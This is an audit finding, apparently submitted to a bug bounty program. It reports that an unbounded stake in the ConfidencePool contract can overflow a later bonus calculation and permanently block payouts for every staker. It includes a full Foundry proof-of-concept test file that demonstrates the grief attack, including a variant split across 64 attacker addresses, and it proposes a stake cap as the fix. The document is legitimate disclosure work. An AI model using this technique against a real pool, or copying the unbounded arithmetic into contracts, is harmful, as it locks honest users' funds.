FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: low

Accepted oversized aggregate stake can permanently brick `SURVIVED` and observed-`EXPIRED` claims

Author Revealed upon completion

Root + Impact

Description

A stake accepted by ConfidencePool should remain safely claimable through every supported terminal payout path.

However, the pool places no upper bound on individual or aggregate stake. A sufficiently large amount can be accepted because its deposit-time arithmetic still fits within uint256, while the later k=2 bonus calculation overflows when _bonusShare() recomputes the score using the larger terminal timestamp T.

During stake(), the contract records timestamp-weighted values without enforcing a bound that guarantees later claim calculations remain safe:

uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
eligibleStake[msg.sender] += received;
userSumStakeTime[msg.sender] += contribTime;
userSumStakeTimeSq[msg.sender] += contribTimeSq;
totalEligibleStake += received;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
// @> No per-user or aggregate cap guarantees that the accepted
// values remain safe when recomputed at a later terminal timestamp.

After resolution, _bonusShare() performs new checked multiplications using the terminal timestamp and the snapshotted pool-wide stake:

function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
// @> Can overflow even though this stake was accepted successfully.
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
// @> Includes the attacker's oversized stake, so this calculation
// can also revert for a normal-sized honest claimant.
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
...
}

There is a concrete range where:

  1. An honest user stakes an ordinary amount.

  2. An attacker adds an oversized stake that is accepted successfully.

  3. The pool successfully observes the active-risk window.

  4. The pool successfully resolves as SURVIVED, or reaches the observed-risk EXPIRED payout path.

  5. The honest user's claim reaches _bonusShare().

  6. The pool-wide score calculation overflows with arithmetic panic 0x11.

  7. Neither the honest user's principal nor bonus is transferred.

The failure affects every claimant because the denominator uses snapshotTotalStaked. The victim does not need to hold an oversized position; another participant can poison the shared calculation for the entire pool.

A permissionless zero-stake keeper can also mechanically resolve the pool as SURVIVED and latch claimsStarted = true before the honest staker claims. The pool is then terminal, but its payout path remains unusable.

This finding is separate from the active-risk observation overflow. Every test relied upon here successfully calls pokeRiskWindow() and records the risk window. The failure occurs later and independently inside _bonusShare() during payout.

Risk

Likelihood:

  • The issue occurs when accepted aggregate stake reaches the range where the later T² × snapshotTotalStaked expressions overflow, while the earlier deposit-time calculations still fit.

  • The required aggregate amount is extremely large. The PoC uses 2 * 10**58 raw token units, making practical exploitation unlikely for ordinary production assets. The pool nevertheless enforces no supply or stake cap, and the same aggregate can be distributed across multiple attacker-controlled addresses.

Impact:

  • Honest stakers permanently lose access to principal and bonus through claimSurvived() and observed-risk claimExpired() because the claim reverts before transferring value.

  • One oversized participant can grief-brick payout for every other staker through the shared global score calculation.

  • Mechanical expiry resolution can latch finality before users attempt their claims, leaving a terminal pool whose intended payout path remains unusable.

Proof of Concept

Create test/poc/HugeStakeClaimOverflowFinding12.t.sol with the complete test below:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {stdError} from "forge-std/StdError.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
contract HugeStakeClaimOverflowFinding12PoC is Test {
uint256 internal constant HUGE = 2 * 10 ** 58;
uint256 internal constant SMALL_BONUS = 1e18;
uint256 internal constant SPLIT_ATTACKERS = 64;
address internal constant SCOPE_ACCOUNT = address(0xC0FFEE);
MockERC20 internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreement;
ConfidencePool internal pool;
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal staker = makeAddr("staker");
address internal honestStaker = makeAddr("honestStaker");
address internal sponsor = makeAddr("sponsor");
address internal bonusContributor = makeAddr("bonusContributor");
address internal keeper = makeAddr("keeper");
function setUp() external {
vm.warp(1_750_000_000);
token = new MockERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreement = new MockAgreement(sponsor);
agreement.setContractInScope(SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(address(agreement), true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
ConfidencePool implementation = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(implementation)));
address[] memory scope = new address[](1);
scope[0] = SCOPE_ACCOUNT;
pool.initialize(
address(agreement),
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
1,
recovery,
sponsor,
scope
);
}
function test_hugeStakeCanPassButLaterClaimSurvivedOverflows() external {
token.mint(staker, HUGE);
vm.startPrank(staker);
token.approve(address(pool), HUGE);
pool.stake(HUGE);
vm.stopPrank();
token.mint(bonusContributor, SMALL_BONUS);
vm.startPrank(bonusContributor);
token.approve(address(pool), SMALL_BONUS);
pool.contributeBonus(SMALL_BONUS);
vm.stopPrank();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(block.timestamp + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(staker);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
}
function test_oneHugeStakerCanBrickAnotherStakersSurvivedClaim() external {
token.mint(honestStaker, 1e18);
vm.startPrank(honestStaker);
token.approve(address(pool), 1e18);
pool.stake(1e18);
vm.stopPrank();
token.mint(staker, HUGE);
vm.startPrank(staker);
token.approve(address(pool), HUGE);
pool.stake(HUGE);
vm.stopPrank();
token.mint(bonusContributor, SMALL_BONUS);
vm.startPrank(bonusContributor);
token.approve(address(pool), SMALL_BONUS);
pool.contributeBonus(SMALL_BONUS);
vm.stopPrank();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(block.timestamp + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(honestStaker);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
}
function test_mechanicalResolutionCanLatchPoisonedSnapshotAndLeaveVictimStuck() external {
token.mint(honestStaker, 1e18);
vm.startPrank(honestStaker);
token.approve(address(pool), 1e18);
pool.stake(1e18);
vm.stopPrank();
token.mint(staker, HUGE);
vm.startPrank(staker);
token.approve(address(pool), HUGE);
pool.stake(HUGE);
vm.stopPrank();
token.mint(bonusContributor, SMALL_BONUS);
vm.startPrank(bonusContributor);
token.approve(address(pool), SMALL_BONUS);
pool.contributeBonus(SMALL_BONUS);
vm.stopPrank();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.warp(pool.expiry());
vm.prank(keeper);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.SURVIVED), "mechanical survived");
assertTrue(pool.claimsStarted(), "mechanical resolution latched finality");
vm.prank(honestStaker);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
vm.prank(moderator);
vm.expectRevert();
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
}
function test_hugeStakeCanAlsoBrickExpiredPayoutAfterObservedRisk() external {
token.mint(honestStaker, 1e18);
vm.startPrank(honestStaker);
token.approve(address(pool), 1e18);
pool.stake(1e18);
vm.stopPrank();
token.mint(staker, HUGE);
vm.startPrank(staker);
token.approve(address(pool), HUGE);
pool.stake(HUGE);
vm.stopPrank();
token.mint(bonusContributor, SMALL_BONUS);
vm.startPrank(bonusContributor);
token.approve(address(pool), SMALL_BONUS);
pool.contributeBonus(SMALL_BONUS);
vm.stopPrank();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(pool.expiry());
vm.prank(honestStaker);
vm.expectRevert(stdError.arithmeticError);
pool.claimExpired();
}
function test_splitAttackersCanAggregateIntoSameSurvivedClaimOverflow() external {
token.mint(honestStaker, 1e18);
vm.startPrank(honestStaker);
token.approve(address(pool), 1e18);
pool.stake(1e18);
vm.stopPrank();
uint256 perAttacker = HUGE / SPLIT_ATTACKERS;
for (uint256 i; i < SPLIT_ATTACKERS; ++i) {
address attackerShard = address(uint160(0xA000 + i));
token.mint(attackerShard, perAttacker);
vm.startPrank(attackerShard);
token.approve(address(pool), perAttacker);
pool.stake(perAttacker);
vm.stopPrank();
}
token.mint(bonusContributor, SMALL_BONUS);
vm.startPrank(bonusContributor);
token.approve(address(pool), SMALL_BONUS);
pool.contributeBonus(SMALL_BONUS);
vm.stopPrank();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(block.timestamp + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(honestStaker);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
}
}

Run:

forge test --match-path test/poc/HugeStakeClaimOverflowFinding12.t.sol -vv

The PoC contains only the five tests relevant to this finding:

test_hugeStakeCanPassButLaterClaimSurvivedOverflows
test_oneHugeStakerCanBrickAnotherStakersSurvivedClaim
test_mechanicalResolutionCanLatchPoisonedSnapshotAndLeaveVictimStuck
test_hugeStakeCanAlsoBrickExpiredPayoutAfterObservedRisk
test_splitAttackersCanAggregateIntoSameSurvivedClaimOverflow

These branches were already verified as passing in the original combined HugeStakeClaimOverflow.t.sol suite. The isolated file removes only the four unrelated active-risk observation-overflow tests.

The tests prove that:

  • a 2 * 10**58 stake is accepted successfully;

  • an honest victim can hold only 1e18;

  • active-risk observation succeeds;

  • normal moderator or mechanical terminal resolution succeeds;

  • the honest claimant later reverts with arithmetic panic inside _bonusShare();

  • both SURVIVED and observed-risk EXPIRED payout paths are affected;

  • a zero-stake keeper can latch the poisoned terminal outcome;

  • splitting the oversized aggregate across 64 attacker addresses produces the same failure.

Recommended Mitigation

Enforce a stake bound that guarantees every current and future squared-time intermediate remains within uint256.

For example, the aggregate cap should account for the maximum supported timestamp and the addition of two squared-time terms:

+ error StakeLimitExceeded();
+
+ uint256 internal constant MAX_SAFE_TOTAL_STAKE =
+ type(uint256).max / (2 * uint256(type(uint32).max) * uint256(type(uint32).max));
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
uint256 received = balanceAfter > balanceBefore
? balanceAfter - balanceBefore
: 0;
+ uint256 newTotalEligibleStake = totalEligibleStake + received;
+ if (newTotalEligibleStake > MAX_SAFE_TOTAL_STAKE) {
+ revert StakeLimitExceeded();
+ }
...
- totalEligibleStake += received;
+ totalEligibleStake = newTotalEligibleStake;
}

Alternatively, rewrite the expanded k=2 score calculation using bounded full-precision arithmetic and reject deposits whenever future score calculations cannot be represented safely.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!